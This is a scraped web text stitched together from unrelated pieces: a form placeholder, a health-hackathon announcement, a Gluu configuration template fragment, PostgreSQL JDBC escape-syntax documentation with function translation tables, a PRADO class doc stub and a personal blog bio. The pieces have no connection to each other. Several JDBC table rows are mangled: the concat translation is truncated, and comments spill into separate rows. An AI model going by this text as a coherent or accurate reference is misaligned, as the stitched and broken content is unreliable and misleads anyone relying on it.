Modal Wizard Form 2
Content of Wizard model Form 2


The Most Important Call You’ll Never Make
by
Tobias Wright @tobiaswright, JP McGarrity @bingeboy, Colette Ellis @coachcolette
Presented by Bing, in partnership with the New York eHealth Coalition, are tackling the challenging and exciting world of hacking health care. Over 100 innovation-minded Brooklynites will spend 24 hours learning about issues surrounding technology in healthcare and then hack their way to a solution.


Your browser does not support HTML5, please consider upgrading to another browser (like chrome).
Grow
Use Seed
Auto-Grow
Try seeds: "stats", "graph", "dion", "mom", "kerri", and "alex"


{% if persistence_backend == "spanner" %}
Using Google Spanner is beta.The service account that will be uploaded must have roles/spanner.databaseUser to use Spanner
Using Google secret manager with Gluu is currently beta.The service account that will be uploaded must have roles/secretmanager.admin to use Google secret manager


JDBC escapes
The JDBC specification (like the ODBC specification) acknowledges the fact that some vendor specific SQL may be required for certain RDBMS features. To aid developers in writing portable JDBC applications across multiple database products, a special escape syntax is used to specify the generic commands the developer wants to be run. The JDBC driver translates these escape sequences into native syntax for its specific database. For more information consult the Java DB Technical Documentation.
The parsing of the sql statements for these escapes can be disabled using Statement.setEscapeProcessing(false)
.
Connection.nativeSQL(String sql)
provides another way to have escapes processed. It translates the given SQL to a SQL suitable for the PostgreSQL™ backend.
Example 8.1. Using JDBC escapes
To use the JDBC escapes, you simply write your SQL replacing date/time literal values, outer join and functions by the JDBC escape syntax. For example :
ResultSet rs = st.executeQuery("SELECT {fn week({d '2005-01-24'})}");
is the portable version for
ResultSet rs = st.executeQuery("SELECT extract(week from DATE '2005-01-24')");
Escape for like escape character
You can specify which escape character to use in strings comparison (with LIKE
) to protect wildcards characters (’%’ and ‘_’) by adding the following escape : {escape 'escape-character'}
. The driver supports this only at the end of the comparison expression.
For example, you can compare string values using ‘|’ as escape character to protect ‘_’ :
rs = stmt.executeQuery("select str2 from comparisontest where str1 like '|_abcd' {escape '|'} ");
Escape for outer joins
You can specify outer joins using the following syntax: {oj table (LEFT|RIGHT|FULL) OUTER JOIN (table | outer-join) ON search-condition}
For example :
ResultSet rs = stmt.executeQuery("select * from {oj a left outer join b on (a.i=b.i)} ");
Date-time escapes
The JDBC specification defines escapes for specifying date, time and timestamp values which are supported by the driver.
- date :
{d 'yyyy-mm-dd'}
which is translated toDATE 'yyyy-mm-dd'
- time :
{t 'hh:mm:ss'}
which is translated toTIME 'hh:mm:ss'
- timestamp :
{ts 'yyyy-mm-dd hh:mm:ss.f...'}
which is translated toTIMESTAMP 'yyyy-mm-dd hh:mm:ss.f'
The fractional seconds (.f…) portion of the TIMESTAMP can be omitted.
Escaped scalar functions
The JDBC specification defines functions with an escape call syntax : {fn function_name(arguments)}
. The following tables show which functions are supported by the PostgreSQL™ driver. The driver supports the nesting and the mixing of escaped functions and escaped values. The appendix C of the JDBC specification describes the functions.
Some functions in the following tables are translated but reported as not supported because they are duplicating or changing their order of the arguments. While this is harmless for literal values or columns, it will cause problems when using prepared statements. For example " {fn right(?,?)}
" will be translated to " substring(? from (length(?)+1-?))
“. As you can see the translated SQL requires more parameters than before the translation but the driver will not automatically handle this.
Table 8.1. Supported escaped numeric functions
| function | reported as supported | translation | comments |
|---|---|---|---|
| abs(arg1) | yes | abs(arg1) | |
| acos(arg1) | yes | acos(arg1) | |
| asin(arg1) | yes | asin(arg1) | |
| atan(arg1) | yes | atan(arg1) | |
| atan2(arg1, arg2) | yes | atan2(arg1, arg2) | |
| ceiling(arg1) | yes | ceil(arg1) | |
| cos(arg1) | yes | cos(arg1) | |
| cot(arg1) | yes | cot(arg1) | |
| degrees(arg1) | yes | degrees(arg1) | |
| exp(arg1) | yes | exp(arg1) | |
| floor(arg1) | yes | floor(arg1) | |
| log(arg1) | yes | ln(arg1) | |
| log10(arg1) | yes | log(arg1) | |
| mod(arg1, arg2) | yes | mod(arg1, arg2) | |
| pi(arg1) | yes | pi(arg1) | |
| power(arg1, arg2) | yes | pow(arg1, arg2) | |
| radians(arg1) | yes | radians(arg1) | |
| rand() | yes | random() | |
| rand(arg1) | yes | setseed(arg1)*0+random() | The seed is initialized with the given argument and a new random value is returned. |
| round(arg1, arg2) | yes | round(arg1, arg2) | |
| sign(arg1) | yes | sign(arg1) | |
| sin(arg1) | yes | sin(arg1) | |
| sqrt(arg1) | yes | sqrt(arg1) | |
| tan(arg1) | yes | tan(arg1) | |
| truncate(arg1, arg2) | yes | trunc(arg1, arg2) |
Table 8.2. Supported escaped string functions
| function | reported as supported | translation | comments |
|---|---|---|---|
| ascii(arg1) | yes | ascii(arg1) | |
| char(arg1) | yes | chr(arg1) | |
| concat(arg1, arg2…) | yes | (arg1 | |
| only require the two arguments version, but supporting more arguments | |||
| was so easy… | |||
| insert(arg1, arg2, arg3, arg4) | no | overlay(arg1 placing arg4 from arg2 for arg3) | This function is not supported since it changes the order of the arguments which can be a problem (for prepared |
| statements by example). | |||
| lcase(arg1) | yes | lower(arg1) | |
| left(arg1, arg2) | yes | substring(arg1 for arg2) | |
| length(arg1) | yes | length(trim(trailing from arg1)) | |
| locate(arg1, arg2) | no | position(arg1 in arg2) | |
| locate(arg1, arg2, arg3) | no | (arg2*sign(position(arg1 in substring(arg2 from arg3)+position(arg1 in substring(arg2 from arg3)) | Not supported since the three arguments version duplicate and change the order of the arguments. |
| ltrim(arg1) | yes | trim(leading from arg1) | |
| repeat(arg1, arg2) | yes | repeat(arg1, arg2) | |
| replace(arg1, arg2, arg3) | yes | replace(arg1, arg2, arg3) | Only reported as supported by 7.3 and above servers. |
| right(arg1, arg2) | no | substring(arg1 from (length(arg1)+1-arg2)) | Not supported since arg2 is duplicated. |
| rtrim(arg1) | yes | trim(trailing from arg1) | |
| space(arg1) | yes | repeat(’ ‘, arg1) | |
| substring(arg1, arg2) | yes | substr(arg1, arg2) | |
| substring(arg1, arg2, arg3) | yes | substr(arg1, arg2, arg3) | |
| ucase(arg1) | yes | upper(arg1) | |
| soundex(arg1) | no | soundex(arg1) | Not supported since it requires the fuzzystrmatch contrib module. |
| difference(arg1, arg2) | no | difference(arg1, arg2) | Not supported since it requires the fuzzystrmatch contrib module. |
Table 8.3. Supported escaped date/time functions
| function | reported as supported | translation | comments |
|---|---|---|---|
| curdate() | yes | current_date | |
| curtime() | yes | current_time | |
| dayname(arg1) | yes | to_char(arg1, ‘Day’) | |
| dayofmonth(arg1) | yes | extract(day from arg1) | |
| dayofweek(arg1) | yes | extract(dow from arg1)+1 | We must add 1 to be in the expected 1-7 range. |
| dayofyear(arg1) | yes | extract(doy from arg1) | |
| hour(arg1) | yes | extract(hour from arg1) | |
| minute(arg1) | yes | extract(minute from arg1) | |
| month(arg1) | yes | extract(month from arg1) | |
| monthname(arg1) | yes | to_char(arg1, ‘Month’) | |
| now() | yes | now() | |
| quarter(arg1) | yes | extract(quarter from arg1) | |
| second(arg1) | yes | extract(second from arg1) | |
| week(arg1) | yes | extract(week from arg1) | |
| year(arg1) | yes | extract(year from arg1) | |
| timestampadd(argIntervalType, argCount, argTimeStamp) | yes | (’(interval according to argIntervalType and | |
| argCount)’+argTimeStamp) | an argIntervalType value of SQL_TSI_FRAC_SECOND | ||
| is not implemented since backend does not support it | |||
| timestampdiff(argIntervalType, argTimeStamp1, argTimeStamp2) | not | extract((interval according to argIntervalType) from argTimeStamp2-argTimeStamp1 ) | only an argIntervalType value of SQL_TSI_FRAC_SECOND, SQL_TSI_FRAC_MINUTE, SQL_TSI_FRAC_HOUR or SQL_TSI_FRAC_DAY is supported |
Table 8.4. Supported escaped misc functions
| function | reported as supported | translation | comments |
|---|---|---|---|
| database() | yes | current_database() | Only reported as supported by 7.3 and above servers. |
| ifnull(arg1, arg2) | yes | coalesce(arg1, arg2) | |
| user() | yes | user |


TListItemType class.
TListItemType defines the enumerable type for the possible types that databound list items could take.
The following enumerable values are defined:
Located in /Web/UI/WebControls/TDataBoundControl.php (line 534)
TEnumerable | --TListItemType
Documentation generated on Mon, 22 Feb 2010 12:17:20 +0000 by phpDocumentor 1.3.0RC4


Uberobert is a personal blog/site for me! Robert Birnie.
I'm an Ruby Developer, DevOps Engineer, and Linux Systems Engineer.